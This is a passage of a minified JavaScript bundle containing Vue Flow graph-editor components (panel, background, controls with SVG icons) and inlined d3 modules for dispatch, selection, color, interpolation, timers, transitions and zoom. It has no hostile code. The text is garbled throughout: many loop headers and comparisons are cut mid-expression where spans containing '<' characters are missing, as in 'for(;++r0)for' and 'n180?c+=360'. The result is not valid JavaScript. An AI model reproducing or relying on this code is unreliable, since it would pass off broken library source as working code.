0},elevateNodesOnSelect:{type:Boolean,default:void 0},disableKeyboardA11y:{type:Boolean,default:void 0},edgesFocusable:{type:Boolean,default:void 0},nodesFocusable:{type:Boolean,default:void 0},autoPanOnConnect:{type:Boolean,default:void 0},autoPanOnNodeDrag:{type:Boolean,default:void 0},autoPanSpeed:{}},emits:["nodesChange","edgesChange","nodesInitialized","paneReady","init","updateNodeInternals","error","connect","connectStart","connectEnd","clickConnectStart","clickConnectEnd","moveStart","move","moveEnd","selectionDragStart","selectionDrag","selectionDragStop","selectionContextMenu","selectionStart","selectionEnd","viewportChangeStart","viewportChange","viewportChangeEnd","paneScroll","paneClick","paneContextMenu","paneMouseEnter","paneMouseMove","paneMouseLeave","edgeUpdate","edgeContextMenu","edgeMouseEnter","edgeMouseMove","edgeMouseLeave","edgeDoubleClick","edgeClick","edgeUpdateStart","edgeUpdateEnd","nodeContextMenu","nodeMouseEnter","nodeMouseMove","nodeMouseLeave","nodeDoubleClick","nodeClick","nodeDragStart","nodeDrag","nodeDragStop","miniMapNodeClick","miniMapNodeDoubleClick","miniMapNodeMouseEnter","miniMapNodeMouseMove","miniMapNodeMouseLeave","update:modelValue","update:nodes","update:edges"],setup(e,{expose:t,emit:n}){const o=e,i=oa(),r=Jo(o,"modelValue",n),s=Jo(o,"nodes",n),a=Jo(o,"edges",n),l=Ne(o),u=Cg({modelValue:r,nodes:s,edges:a},o,l);return Ig(n,l.hooks),Sp(),jp(),Dt(Lo,i),vu(u),t(l),(c,d)=>(H(),W("div",{ref:P(l).vueFlowRef,class:"vue-flow"},[xe(bp,null,{default:ze(()=>[xe(Lp),Zp,xe(Up),Me(c.$slots,"zoom-pane")]),_:3}),Me(c.$slots,"default"),xe(Np)],512))}}),Jp={name:"Panel",compatConfig:{MODE:3}},dl=ye({...Jp,props:{position:{}},setup(e){const t=e,{userSelectionActive:n}=Ne(),o=ie(()=>`${t.position}`.split("-"));return(i,r)=>(H(),W("div",{class:Te(["vue-flow__panel",o.value]),style:ae({pointerEvents:P(n)?"none":"all"})},[Me(i.$slots,"default")],6))}});var dt=(e=>(e.Lines="lines",e.Dots="dots",e))(dt||{});const fl=function({dimensions:e,size:t,color:n}){return $e("path",{stroke:n,"stroke-width":t,d:`M${e[0]/2} 0 V${e[1]} M0 ${e[1]/2} H${e[0]}`})},hl=function({radius:e,color:t}){return $e("circle",{cx:e,cy:e,r:e,fill:t})};dt.Lines+"",dt.Dots+"";const Qp={[dt.Dots]:"#81818a",[dt.Lines]:"#eee"},ev=["id","x","y","width","height","patternTransform"],tv={key:2,height:"100",width:"100"},nv=["fill"],ov=["x","y","fill"],iv={name:"Background",compatConfig:{MODE:3}},rv=ye({...iv,props:{id:{},variant:{default:()=>dt.Dots},gap:{default:20},size:{default:1},lineWidth:{default:1},patternColor:{},color:{},bgColor:{},height:{default:100},width:{default:100},x:{default:0},y:{default:0},offset:{default:0}},setup(e){const{id:t,viewport:n}=Ne(),o=ie(()=>{const s=n.value.zoom,[a,l]=Array.isArray(e.gap)?e.gap:[e.gap,e.gap],u=[a*s||1,l*s||1],c=e.size*s,[d,h]=Array.isArray(e.offset)?e.offset:[e.offset,e.offset],g=[d*s||1+u[0]/2,h*s||1+u[1]/2];return{scaledGap:u,offset:g,size:c}}),i=_e(()=>`pattern-${t}${e.id?`-${e.id}`:""}`),r=_e(()=>e.color||e.patternColor||Qp[e.variant||dt.Dots]);return(s,a)=>(H(),W("svg",{class:"vue-flow__background vue-flow__container",style:ae({height:`${s.height>100?100:s.height}%`,width:`${s.width>100?100:s.width}%`})},[Me(s.$slots,"pattern-container",{id:i.value},()=>[E("pattern",{id:i.value,x:P(n).x%o.value.scaledGap[0],y:P(n).y%o.value.scaledGap[1],width:o.value.scaledGap[0],height:o.value.scaledGap[1],patternTransform:`translate(-${o.value.offset[0]},-${o.value.offset[1]})`,patternUnits:"userSpaceOnUse"},[Me(s.$slots,"pattern",{},()=>[s.variant===P(dt).Lines?(H(),Ce(P(fl),{key:0,size:s.lineWidth,color:r.value,dimensions:o.value.scaledGap},null,8,["size","color","dimensions"])):s.variant===P(dt).Dots?(H(),Ce(P(hl),{key:1,color:r.value,radius:o.value.size/2},null,8,["color","radius"])):ke("",!0),s.bgColor?(H(),W("svg",tv,[E("rect",{width:"100%",height:"100%",fill:s.bgColor},null,8,nv)])):ke("",!0)])],8,ev)]),E("rect",{x:s.x,y:s.y,width:"100%",height:"100%",fill:`url(#${i.value})`},null,8,ov),Me(s.$slots,"default",{id:i.value})],4))}}),sv={name:"ControlButton",compatConfig:{MODE:3}},av=(e,t)=>{const n=e.__vccOpts||e;for(const[o,i]of t)n[o]=i;return n},lv={type:"button",class:"vue-flow__controls-button"};function uv(e,t,n,o,i,r){return H(),W("button",lv,[Me(e.$slots,"default")])}const Kn=av(sv,[["render",uv]]),cv={xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 32 32"},dv=E("path",{d:"M32 18.133H18.133V32h-4.266V18.133H0v-4.266h13.867V0h4.266v13.867H32z"},null,-1),fv=[dv];function hv(e,t){return H(),W("svg",cv,fv)}const gv={render:hv},pv={xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 32 5"},vv=E("path",{d:"M0 0h32v4.2H0z"},null,-1),mv=[vv];function yv(e,t){return H(),W("svg",pv,mv)}const wv={render:yv},_v={xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 32 30"},bv=E("path",{d:"M3.692 4.63c0-.53.4-.938.939-.938h5.215V0H4.708C2.13 0 0 2.054 0 4.63v5.216h3.692V4.631zM27.354 0h-5.2v3.692h5.17c.53 0 .984.4.984.939v5.215H32V4.631A4.624 4.624 0 0 0 27.354 0zm.954 24.83c0 .532-.4.94-.939.94h-5.215v3.768h5.215c2.577 0 4.631-2.13 4.631-4.707v-5.139h-3.692v5.139zm-23.677.94a.919.919 0 0 1-.939-.94v-5.138H0v5.139c0 2.577 2.13 4.707 4.708 4.707h5.138V25.77H4.631z"},null,-1),Ev=[bv];function xv(e,t){return H(),W("svg",_v,Ev)}const $v={render:xv},kv={xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 25 32"},Nv=E("path",{d:"M21.333 10.667H19.81V7.619C19.81 3.429 16.38 0 12.19 0 8 0 4.571 3.429 4.571 7.619v3.048H3.048A3.056 3.056 0 0 0 0 13.714v15.238A3.056 3.056 0 0 0 3.048 32h18.285a3.056 3.056 0 0 0 3.048-3.048V13.714a3.056 3.056 0 0 0-3.048-3.047zM12.19 24.533a3.056 3.056 0 0 1-3.047-3.047 3.056 3.056 0 0 1 3.047-3.048 3.056 3.056 0 0 1 3.048 3.048 3.056 3.056 0 0 1-3.048 3.047zm4.724-13.866H7.467V7.619c0-2.59 2.133-4.724 4.723-4.724 2.591 0 4.724 2.133 4.724 4.724v3.048z"},null,-1),Sv=[Nv];function Cv(e,t){return H(),W("svg",kv,Sv)}const Mv={render:Cv},Iv={xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 25 32"},Tv=E("path",{d:"M21.333 10.667H19.81V7.619C19.81 3.429 16.38 0 12.19 0c-4.114 1.828-1.37 2.133.305 2.438 1.676.305 4.42 2.59 4.42 5.181v3.048H3.047A3.056 3.056 0 0 0 0 13.714v15.238A3.056 3.056 0 0 0 3.048 32h18.285a3.056 3.056 0 0 0 3.048-3.048V13.714a3.056 3.056 0 0 0-3.048-3.047zM12.19 24.533a3.056 3.056 0 0 1-3.047-3.047 3.056 3.056 0 0 1 3.047-3.048 3.056 3.056 0 0 1 3.048 3.048 3.056 3.056 0 0 1-3.048 3.047z"},null,-1),Ov=[Tv];function Av(e,t){return H(),W("svg",Iv,Ov)}const Dv={render:Av},Pv={name:"Controls",compatConfig:{MODE:3}},zv=ye({...Pv,props:{showZoom:{type:Boolean,default:!0},showFitView:{type:Boolean,default:!0},showInteractive:{type:Boolean,default:!0},fitViewParams:{},position:{default:()=>za.BottomLeft}},emits:["zoomIn","zoomOut","fitView","interactionChange"],setup(e,{emit:t}){const{nodesDraggable:n,nodesConnectable:o,elementsSelectable:i,setInteractive:r,zoomIn:s,zoomOut:a,fitView:l,viewport:u,minZoom:c,maxZoom:d}=Ne(),h=_e(()=>n.value||o.value||i.value),g=_e(()=>u.value.zoom<=c.value),_=_e(()=>u.value.zoom>=d.value);function b(){s(),t("zoomIn")}function S(){a(),t("zoomOut")}function $(){l(e.fitViewParams),t("fitView")}function N(){r(!h.value),t("interactionChange",!h.value)}return(v,x)=>(H(),Ce(P(dl),{class:"vue-flow__controls",position:v.position},{default:ze(()=>[Me(v.$slots,"top"),v.showZoom?(H(),W(Se,{key:0},[Me(v.$slots,"control-zoom-in",{},()=>[xe(Kn,{class:"vue-flow__controls-zoomin",disabled:_.value,onClick:b},{default:ze(()=>[Me(v.$slots,"icon-zoom-in",{},()=>[(H(),Ce(kt(P(gv))))])]),_:3},8,["disabled"])]),Me(v.$slots,"control-zoom-out",{},()=>[xe(Kn,{class:"vue-flow__controls-zoomout",disabled:g.value,onClick:S},{default:ze(()=>[Me(v.$slots,"icon-zoom-out",{},()=>[(H(),Ce(kt(P(wv))))])]),_:3},8,["disabled"])])],64)):ke("",!0),v.showFitView?Me(v.$slots,"control-fit-view",{key:1},()=>[xe(Kn,{class:"vue-flow__controls-fitview",onClick:$},{default:ze(()=>[Me(v.$slots,"icon-fit-view",{},()=>[(H(),Ce(kt(P($v))))])]),_:3})]):ke("",!0),v.showInteractive?Me(v.$slots,"control-interactive",{key:2},()=>[v.showInteractive?(H(),Ce(Kn,{key:0,class:"vue-flow__controls-interactive",onClick:N},{default:ze(()=>[h.value?Me(v.$slots,"icon-unlock",{key:0},()=>[(H(),Ce(kt(P(Dv))))]):ke("",!0),h.value?ke("",!0):Me(v.$slots,"icon-lock",{key:1},()=>[(H(),Ce(kt(P(Mv))))])]),_:3})):ke("",!0)]):ke("",!0),Me(v.$slots,"default")]),_:3},8,["position"]))}});var Rv={value:()=>{}};function ur(){for(var e=0,t=arguments.length,n={},o;e=0&&(o=n.slice(i+1),n=n.slice(0,i)),n&&!t.hasOwnProperty(n))throw new Error("unknown type: "+n);return{type:n,name:o}})}uo.prototype=ur.prototype={constructor:uo,on:function(e,t){var n=this._,o=Bv(e+"",n),i,r=-1,s=o.length;if(arguments.length<2){for(;++r0)for(var n=new Array(i),o=0,i,r;o=0&&(t=e.slice(0,n))!=="xmlns"&&(e=e.slice(n+1)),ds.hasOwnProperty(t)?{space:ds[t],local:e}:e}function Hv(e){return function(){var t=this.ownerDocument,n=this.namespaceURI;return n===zi&&t.documentElement.namespaceURI===zi?t.createElement(e):t.createElementNS(n,e)}}function Lv(e){return function(){return this.ownerDocument.createElementNS(e.space,e.local)}}function gl(e){var t=Wo(e);return(t.local?Lv:Hv)(t)}function Fv(){}function cr(e){return e==null?Fv:function(){return this.querySelector(e)}}function Yv(e){typeof e!="function"&&(e=cr(e));for(var t=this._groups,n=t.length,o=new Array(n),i=0;i=v&&(v=N+1);!(D=S[v])&&++v<_;);x._next=D||null}}return s=new He(s,o),s._enter=a,s._exit=l,s}function um(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function cm(){return new He(this._exit||this._groups.map(yl),this._parents)}function dm(e,t,n){var o=this.enter(),i=this,r=this.exit();return typeof e=="function"?(o=e(o),o&&(o=o.selection())):o=o.append(e+""),t!=null&&(i=t(i),i&&(i=i.selection())),n==null?r.remove():n(r),o&&i?o.merge(i).order():i}function fm(e){for(var t=e.selection?e.selection():e,n=this._groups,o=t._groups,i=n.length,r=o.length,s=Math.min(i,r),a=new Array(i),l=0;l=0;)(s=o[i])&&(r&&s.compareDocumentPosition(r)^4&&r.parentNode.insertBefore(s,r),r=s);return this}function gm(e){e||(e=pm);function t(d,h){return d&&h?e(d.__data__,h.__data__):!d-!h}for(var n=this._groups,o=n.length,i=new Array(o),r=0;rt?1:e>=t?0:NaN}function vm(){var e=arguments[0];return arguments[0]=this,e.apply(null,arguments),this}function mm(){return Array.from(this)}function ym(){for(var e=this._groups,t=0,n=e.length;t1?this.each((t==null?Mm:typeof t=="function"?Tm:Im)(e,t,n??"")):en(this.node(),e)}function en(e,t){return e.style.getPropertyValue(t)||wl(e).getComputedStyle(e,null).getPropertyValue(t)}function Am(e){return function(){delete this[e]}}function Dm(e,t){return function(){this[e]=t}}function Pm(e,t){return function(){var n=t.apply(this,arguments);n==null?delete this[e]:this[e]=n}}function zm(e,t){return arguments.length>1?this.each((t==null?Am:typeof t=="function"?Pm:Dm)(e,t)):this.node()[e]}function _l(e){return e.trim().split(/^|\s+/)}function dr(e){return e.classList||new bl(e)}function bl(e){this._node=e,this._names=_l(e.getAttribute("class")||"")}bl.prototype={add:function(e){var t=this._names.indexOf(e);t<0&&(this._names.push(e),this._node.setAttribute("class",this._names.join(" ")))},remove:function(e){var t=this._names.indexOf(e);t>=0&&(this._names.splice(t,1),this._node.setAttribute("class",this._names.join(" ")))},contains:function(e){return this._names.indexOf(e)>=0}};function El(e,t){for(var n=dr(e),o=-1,i=t.length;++o=0&&(n=t.slice(o+1),t=t.slice(0,o)),{type:t,name:n}})}function cy(e){return function(){var t=this.__on;if(t){for(var n=0,o=-1,i=t.length,r;n>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?Jn(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?Jn(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=Ey.exec(e))?new Be(t[1],t[2],t[3],1):(t=xy.exec(e))?new Be(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=$y.exec(e))?Jn(t[1],t[2],t[3],t[4]):(t=ky.exec(e))?Jn(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=Ny.exec(e))?ys(t[1],t[2]/100,t[3]/100,1):(t=Sy.exec(e))?ys(t[1],t[2]/100,t[3]/100,t[4]):fs.hasOwnProperty(e)?ps(fs[e]):e==="transparent"?new Be(NaN,NaN,NaN,0):null}function ps(e){return new Be(e>>16&255,e>>8&255,e&255,1)}function Jn(e,t,n,o){return o<=0&&(e=t=n=NaN),new Be(e,t,n,o)}function Iy(e){return e instanceof Bn||(e=Tn(e)),e?(e=e.rgb(),new Be(e.r,e.g,e.b,e.opacity)):new Be}function Vi(e,t,n,o){return arguments.length===1?Iy(e):new Be(e,t,n,o??1)}function Be(e,t,n,o){this.r=+e,this.g=+t,this.b=+n,this.opacity=+o}fr(Be,Vi,Nl(Bn,{brighter(e){return e=e==null?So:Math.pow(So,e),new Be(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?Mn:Math.pow(Mn,e),new Be(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new Be(At(this.r),At(this.g),At(this.b),Co(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:vs,formatHex:vs,formatHex8:Ty,formatRgb:ms,toString:ms}));function vs(){return`#${It(this.r)}${It(this.g)}${It(this.b)}`}function Ty(){return`#${It(this.r)}${It(this.g)}${It(this.b)}${It((isNaN(this.opacity)?1:this.opacity)*255)}`}function ms(){const e=Co(this.opacity);return`${e===1?"rgb(":"rgba("}${At(this.r)}, ${At(this.g)}, ${At(this.b)}${e===1?")":`, ${e})`}`}function Co(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function At(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function It(e){return e=At(e),(e<16?"0":"")+e.toString(16)}function ys(e,t,n,o){return o<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new We(e,t,n,o)}function Sl(e){if(e instanceof We)return new We(e.h,e.s,e.l,e.opacity);if(e instanceof Bn||(e=Tn(e)),!e)return new We;if(e instanceof We)return e;e=e.rgb();var t=e.r/255,n=e.g/255,o=e.b/255,i=Math.min(t,n,o),r=Math.max(t,n,o),s=NaN,a=r-i,l=(r+i)/2;return a?(t===r?s=(n-o)/a+(n0&&l<1?0:s,new We(s,a,l,e.opacity)}function Oy(e,t,n,o){return arguments.length===1?Sl(e):new We(e,t,n,o??1)}function We(e,t,n,o){this.h=+e,this.s=+t,this.l=+n,this.opacity=+o}fr(We,Oy,Nl(Bn,{brighter(e){return e=e==null?So:Math.pow(So,e),new We(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?Mn:Math.pow(Mn,e),new We(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,o=n+(n<.5?n:1-n)*t,i=2*n-o;return new Be(ui(e>=240?e-240:e+120,i,o),ui(e,i,o),ui(e<120?e+240:e-120,i,o),this.opacity)},clamp(){return new We(ws(this.h),Qn(this.s),Qn(this.l),Co(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=Co(this.opacity);return`${e===1?"hsl(":"hsla("}${ws(this.h)}, ${Qn(this.s)*100}%, ${Qn(this.l)*100}%${e===1?")":`, ${e})`}`}}));function ws(e){return e=(e||0)%360,e<0?e+360:e}function Qn(e){return Math.max(0,Math.min(1,e||0))}function ui(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const Cl=e=>()=>e;function Ay(e,t){return function(n){return e+n*t}}function Dy(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(o){return Math.pow(e+o*t,n)}}function Py(e){return(e=+e)==1?Ml:function(t,n){return n-t?Dy(t,n,e):Cl(isNaN(t)?n:t)}}function Ml(e,t){var n=t-e;return n?Ay(e,n):Cl(isNaN(e)?t:e)}const _s=function e(t){var n=Py(t);function o(i,r){var s=n((i=Vi(i)).r,(r=Vi(r)).r),a=n(i.g,r.g),l=n(i.b,r.b),u=Ml(i.opacity,r.opacity);return function(c){return i.r=s(c),i.g=a(c),i.b=l(c),i.opacity=u(c),i+""}}return o.gamma=e,o}(1);function _t(e,t){return e=+e,t=+t,function(n){return e*(1-n)+t*n}}var Hi=/[-+]?(?:\d+\.?\d*|\.?\d+)(?:[eE][-+]?\d+)?/g,ci=new RegExp(Hi.source,"g");function zy(e){return function(){return e}}function Ry(e){return function(t){return e(t)+""}}function By(e,t){var n=Hi.lastIndex=ci.lastIndex=0,o,i,r,s=-1,a=[],l=[];for(e=e+"",t=t+"";(o=Hi.exec(e))&&(i=ci.exec(t));)(r=i.index)>n&&(r=t.slice(n,r),a[s]?a[s]+=r:a[++s]=r),(o=o[0])===(i=i[0])?a[s]?a[s]+=i:a[++s]=i:(a[++s]=null,l.push({i:s,x:_t(o,i)})),n=ci.lastIndex;return n180?c+=360:c-u>180&&(u+=360),h.push({i:d.push(i(d)+"rotate(",null,o)-2,x:_t(u,c)})):c&&d.push(i(d)+"rotate("+c+o)}function a(u,c,d,h){u!==c?h.push({i:d.push(i(d)+"skewX(",null,o)-2,x:_t(u,c)}):c&&d.push(i(d)+"skewX("+c+o)}function l(u,c,d,h,g,_){if(u!==d||c!==h){var b=g.push(i(g)+"scale(",null,",",null,")");_.push({i:b-4,x:_t(u,d)},{i:b-2,x:_t(c,h)})}else(d!==1||h!==1)&&g.push(i(g)+"scale("+d+","+h+")")}return function(u,c){var d=[],h=[];return u=e(u),c=e(c),r(u.translateX,u.translateY,c.translateX,c.translateY,d,h),s(u.rotate,c.rotate,d,h),a(u.skewX,c.skewX,d,h),l(u.scaleX,u.scaleY,c.scaleX,c.scaleY,d,h),u=c=null,function(g){for(var _=-1,b=h.length,S;++_=0&&e._call.call(void 0,t),e=e._next;--tn}function xs(){Bt=(Io=On.now())+Uo,tn=gn=0;try{jy()}finally{tn=0,qy(),Bt=0}}function Zy(){var e=On.now(),t=e-Io;t>Ol&&(Uo-=t,Io=e)}function qy(){for(var e,t=Mo,n,o=1/0;t;)t._call?(o>t._time&&(o=t._time),e=t,t=t._next):(n=t._next,t._next=null,t=e?e._next=n:Mo=n);pn=e,Fi(o)}function Fi(e){if(!tn){gn&&(gn=clearTimeout(gn));var t=e-Bt;t>24?(e<1/0&&(gn=setTimeout(xs,e-On.now()-Uo)),ln&&(ln=clearInterval(ln))):(ln||(Io=On.now(),ln=setInterval(Zy,Ol)),tn=1,Al(xs))}}function $s(e,t,n){var o=new To;return t=t==null?0:+t,o.restart(i=>{o.stop(),e(i+t)},t,n),o}var Ky=ur("start","end","cancel","interrupt"),Jy=[],Pl=0,ks=1,Yi=2,co=3,Ns=4,Gi=5,fo=6;function jo(e,t,n,o,i,r){var s=e.__transition;if(!s)e.__transition={};else if(n in s)return;Qy(e,n,{name:t,index:o,group:i,on:Ky,tween:Jy,time:r.time,delay:r.delay,duration:r.duration,ease:r.ease,timer:null,state:Pl})}function gr(e,t){var n=je(e,t);if(n.state>Pl)throw new Error("too late; already scheduled");return n}function st(e,t){var n=je(e,t);if(n.state>co)throw new Error("too late; already running");return n}function je(e,t){var n=e.__transition;if(!n||!(n=n[t]))throw new Error("transition not found");return n}function Qy(e,t,n){var o=e.__transition,i;o[t]=n,n.timer=Dl(r,0,n.time);function r(u){n.state=ks,n.timer.restart(s,n.delay,n.time),n.delay<=u&&s(u-n.delay)}function s(u){var c,d,h,g;if(n.state!==ks)return l();for(c in o)if(g=o[c],g.name===n.name){if(g.state===co)return $s(s);g.state===Ns?(g.state=fo,g.timer.stop(),g.on.call("interrupt",e,e.__data__,g.index,g.group),delete o[c]):+cYi&&o.state=0&&(t=t.slice(0,n)),!t||t==="start"})}function M0(e,t,n){var o,i,r=C0(t)?gr:st;return function(){var s=r(this,e),a=s.on;a!==o&&(i=(o=a).copy()).on(t,n),s.on=i}}function I0(e,t){var n=this._id;return arguments.length<2?je(this.node(),n).on.on(e):this.each(M0(n,e,t))}function T0(e){return function(){var t=this.parentNode;for(var n in this.__transition)if(+n!==e)return;t&&t.removeChild(this)}}function O0(){return this.on("end.remove",T0(this._id))}function A0(e){var t=this._name,n=this._id;typeof e!="function"&&(e=cr(e));for(var o=this._groups,i=o.length,r=new Array(i),s=0;s()=>e;function iw(e,{sourceEvent:t,target:n,transform:o,dispatch:i}){Object.defineProperties(this,{type:{value:e,enumerable:!0,configurable:!0},sourceEvent:{value:t,enumerable:!0,configurable:!0},target:{value:n,enumerable:!0,configurable:!0},transform:{value:o,enumerable:!0,configurable:!0},_:{value:i}})}function ft(e,t,n){this.k=e,this.x=t,this.y=n}ft.prototype={constructor:ft,scale:function(e){return e===1?this:new ft(this.k*e,this.x,this.y)},translate:function(e,t){return e===0&t===0?this:new ft(this.k,this.x+this.k*e,this.y+this.k*t)},apply:function(e){return[e[0]*this.k+this.x,e[1]*this.k+this.y]},applyX:function(e){return e*this.k+this.x},applyY:function(e){return e*this.k+this.y},invert:function(e){return[(e[0]-this.x)/this.k,(e[1]-this.y)/this.k]},invertX:function(e){return(e-this.x)/this.k},invertY:function(e){return(e-this.y)/this.k},rescaleX:function(e){return e.copy().domain(e.range().map(this.invertX,this).map(e.invert,e))},rescaleY:function(e){return e.copy().domain(e.range().map(this.invertY,this).map(e.invert,e))},toString:function(){return"translate("+this.x+","+this.y+") scale("+this.k+")"}};var vr=new ft(1,0,0);ft.prototype;function di(e){e.stopImmediatePropagation()}function un(e){e.preventDefault(),e.stopImmediatePropagation()}function rw(e){return(!e.ctrlKey||e.type==="wheel")&&!e.button}function sw(){var e=this;return e instanceof SVGElement?(e=e.ownerSVGElement||e,e.hasAttribute("viewBox")?(e=e.viewBox.baseVal,[[e.x,e.y],[e.x+e.width,e.y+e.height]]):[[0,0],[e.width.baseVal.value,e.height.baseVal.value]]):[[0,0],[e.clientWidth,e.clientHeight]]}function Ss(){return this.__zoom||vr}function aw(e){return-e.deltaY*(e.deltaMode===1?.05:e.deltaMode?1:.002)*(e.ctrlKey?10:1)}function lw(){return navigator.maxTouchPoints||"ontouchstart"in this}function uw(e,t,n){var o=e.invertX(t[0][0])-n[0][0],i=e.invertX(t[1][0])-n[1][0],r=e.invertY(t[0][1])-n[0][1],s=e.invertY(t[1][1])-n[1][1];return e.translate(i>o?(o+i)/2:Math.min(0,o)||Math.max(0,i),s>r?(r+s)/2:Math.min(0,r)||Math.max(0,s))}function cw(){var e=rw,t=sw,n=uw,o=aw,i=lw,r=[0,1/0],s=[[-1/0,-1/0],[1/0,1/0]],a=250,l=Wy,u=ur("start","zoom","end"),c,d,h,g=500,_=150,b=0,S=10;function $(p){p.property("__zoom",Ss).on("wheel.zoom",B,{passive:!1}).on("mousedown.zoom",G).on("dblclick.zoom",L).filter(i).on("touchstart.zoom",R).on("touchmove.zoom",C).on("touchend.zoom touchcancel.zoom",X).style("-webkit-tap-highlight-color","rgba(0,0,0,0)")}$.transform=function(p,k,w,O){var T=p.selection?p.selection():p;T.property("__zoom",Ss),p!==T?D(p,k,w,O):T.interrupt().each(function(){V(this,arguments).event(O).start().zoom(null,typeof k=="function"?k.apply(this,arguments):k).end()})},$.scaleBy=function(p,k,w,O){$.scaleTo(p,function(){var T=this.__zoom.k,z=typeof k=="function"?k.apply(this,arguments):k;return T*z},w,O)},$.scaleTo=function(p,k,w,O){$.transform(p,function(){var T=t.apply(this,arguments),z=this.__zoom,A=w==null?x(T):typeof w=="function"?w.apply(this,arguments):w,Y=z.invert(A),q=typeof k=="function"?k.apply(this,arguments):k;return n(v(N(z,q),A,Y),T,s)},w,O)},$.translateBy=function(p,k,w,O){$.transform(p,function(){return n(this.__zoom.translate(typeof k=="function"?k.apply(this,arguments):k,typeof w=="function"?w.apply(this,arguments):w),t.apply(this,arguments),s)},null,O)},$.translateTo=function(p,k,w,O,T){$.transform(p,function(){var z=t.apply(this,arguments),A=this.__zoom,Y=O==null?x(z):typeof O=="function"?O.apply(this,arguments):O;return n(vr.translate(Y[0],Y[1]).scale(A.k).translate(typeof k=="function"?-k.apply(this,arguments):-k,typeof w=="function"?-w.apply(this,arguments):-w),z,s)},O,T)};function N(p,k){return k=Math.max(r[0],Math.min(r[1],k)),k===p.k?p:new ft(k,p.x,p.y)}function v(p,k,w){var O=k[0]-w[0]*p.k,T=k[1]-w[1]*p.k;return O===p.x&&T===p.y?p:new ft(p.k,O,T)}function x(p){return[(+p[0][0]+ +p[1][0])/2,(+p[0][1]+ +p[1][1])/2]}function D(p,k,w,O){p.on("start.zoom",function(){V(this,arguments).event(O).start()}).on("interrupt.zoom end.zoom",function(){V(this,arguments).event(O).end()}).tween("zoom",function(){var T=this,z=arguments,A=V(T,z).event(O),Y=t.apply(T,z),q=w==null?x(Y):typeof w=="function"?w.apply(T,z):w,ne=Math.max(Y[1][0]-Y[0][0],Y[1][1]-Y[0][1]),re=T.__zoom,Z=typeof k=="function"?k.apply(T,z):k,K=l(re.invert(q).concat(ne/re.k),Z.invert(q).concat(ne/Z.k));return function(Q){if(Q===1)Q=Z;else{var ce=K(Q),me=ne/ce[2];Q=new ft(me,q[0]-ce[0]*me,q[1]-ce[1]*me)}A.zoom(null,Q)}})}function V(p,k,w){return!w&&p.__zooming||new F(p,k)}function F(p,k){this.that=p,this.args=k,this.active=0,this.sourceEvent=null,this.extent=t.apply(p,k),this.taps=0}F.prototype={event:function(p){return p&&(this.sourceEvent=p),this},start:function(){return++this.active===1&&(this.that.__zooming=this,this.emit("start")),this},zoom:function(p,k){return this.mouse&&p!=="mouse"&&(this.mouse[1]=k.invert(this.mouse[0])),this.touch0&&p!=="touch"&&(this.touch0[1]=k.invert(this.touch0[0])),this.touch1&&p!=="touch"&&(this.touch1[1]=k.invert(this.touch1[0])),this.that.__zoom=k,this.emit("zoom"),this},end:function(){return--this.active===0&&(delete this.that.__zooming,this.emit("end")),this},emit:function(p){var k=bt(this.that).datum();u.call(p,this.that,new iw(p,{sourceEvent:this.sourceEvent,target:$,transform:this.that.__zoom,dispatch:u}),k)}};function B(p,...k){if(!e.apply(this,arguments))return;var w=V(this,k).event(p),O=this.__zoom,T=Math.max(r[0],Math.min(r[1],O.k*Math.pow(2,o.apply(this,arguments)))),z=yt(p);if(w.wheel)(w.mouse[0][0]!==z[0]||w.mouse[0][1]!==z[1])&&(w.mouse[1]=O.invert(w.mouse[0]=z)),clearTimeout(w.wheel);else{if(O.k===T)return;w.mouse=[z,O.invert(z)],ho(this),w.start()}un(p),w.wheel=setTimeout(A,_),w.zoom("mouse",n(v(N(O,T),w.mouse[0],w.mouse[1]),w.extent,s));function A(){w.wheel=null,w.end()}}function G(p,...k){if(h||!e.apply(this,arguments))return;var w=p.currentTarget,O=V(this,k,!0).event(p),T=bt(p.view).on("mousemove.zoom",q,!0).on("mouseup.zoom",ne,!0),z=yt(p,w),A=p.clientX,Y=p.clientY;wy(p.view),di(p),O.mouse=[z,this.__zoom.invert(z)],ho(this),O.start();function q(re){if(un(re),!O.moved){var Z=re.clientX-A,K=re.clientY-Y;O.moved=Z*Z+K*K>b}O.event(re).zoom("mouse",n(v(O.that.__zoom,O.mouse[0]=yt(re,w),O.mouse[1]),O.extent,s))}function ne(re){T.on("mousemove.zoom mouseup.zoom",null),_y(re.view,O.moved),un(re),O.event(re).end()}}function L(p,...k){if(e.apply(this,arguments)){var w=this.__zoom,O=yt(p.changedTouches?p.changedTouches[0]:p,this),T=w.invert(O),z=w.k*(p.shiftKey?.5:2),A=n(v(N(w,z),O,T),t.apply(this,k),s);un(p),a>0?bt(this).transition().duration(a).call(D,A,O,p):bt(this).call($.transform,A,O,p)}}function R(p,...k){if(e.apply(this,arguments)){var 